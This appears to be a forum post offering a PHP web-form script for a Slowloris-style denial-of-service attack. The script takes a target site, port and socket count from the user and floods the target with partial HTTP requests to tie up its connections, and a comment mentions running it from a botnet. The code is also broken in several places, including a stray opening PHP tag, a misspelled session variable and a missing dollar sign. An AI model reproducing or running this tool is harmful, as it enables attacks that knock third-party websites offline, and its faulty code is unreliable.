I've been working on this for a while. Was unable to use socket, and fork function since a lot of hosts dont allow it. If I could use those functions this script would be a lot better :(
PHP Code
<?php
<html>
<body>
<center>
<form action = "" method = "post" >
Time Limit:
<input type = "text" name = "time" <br>
<br />
Site:
<input type = "text" name = "site" <br>
<br />
Port:
<input type = "text" name = "port" <br>
<br />
Number of sockets:
<input type = "text" name = "number" <br>
<br />
Max Wait Time:
<input type = "text" name = "wait" <br>
<br />
User Agent:
</center>
<input type = "radio" name = "user1" value = 'fire'> Firefox <br>
<input type = "radio" name = "user1" value = 'opera'> Opera <br>
<input type = "radio" name = "user1" value = 'chrome'> Chrome <br>
<input type = "submit">
</form>
</body>
</html>
<?php
/*
PHP probably isn't the best language to use for filling sockets, unless you are using a botnet, and this shell doesn't use get variables
*/
//Create variable named $permagent, and set as custom useragent if desired
if (isset($_POST['port']) && isset($_POST['number']) && isset($_POST['site']) && isset($_POST['wait']) && isset($_POST['time'])) {
$port = $_POST['port'];
$number = $_POST['number'];
$site = $_POST['site'];
$wait = $_POST['wait'];
intval($number);
intval($port);
intval($wait);
set_time_limit($wait);
if (isset($_POST['user1'])){
if ($_POST['user1'] == 'fire') {
$useragent = 'Mozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0';
}
elseif ($_POST['user1'] == 'opera') {
$useragent = 'Opera/9.80 (Macintosh; Intel Mac OS X 10.8.2) Presto/2.12.388 Version/12.11';
}else {
$useragent = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31';
}
}
if (isset($permagent)) {
$useragent = $permagent;
}
if (isset($useragent)) {
session_start();
$_SESSION['numbers'] = 0;
}
if ($SESSION['numbers'] < $number) {
time_nanosleep(0, 50000000);
$fp = fsockopen($site, $port, $errno, $errstr);
$message = "GET / HTTP/1.1\r\n";
$message .= "HOST:" . $site . "\r\n";
$message .= "User-Agent: " . $useragent . "\r\n";
$message .= "Content-Length: " . "42" . "\r\n";
$message .= "X-a: " . rand(1,10000) . "\r\n";
if(!fp) {
echo($errstr . $errno . "<br> \n");
}else {
while($_SESSION['numbers'] < $number){
fwrite($fp, $message); //writes to remote socket opening the socket
$_SESSION['numbers'] ++;
}
}
}
}
?>
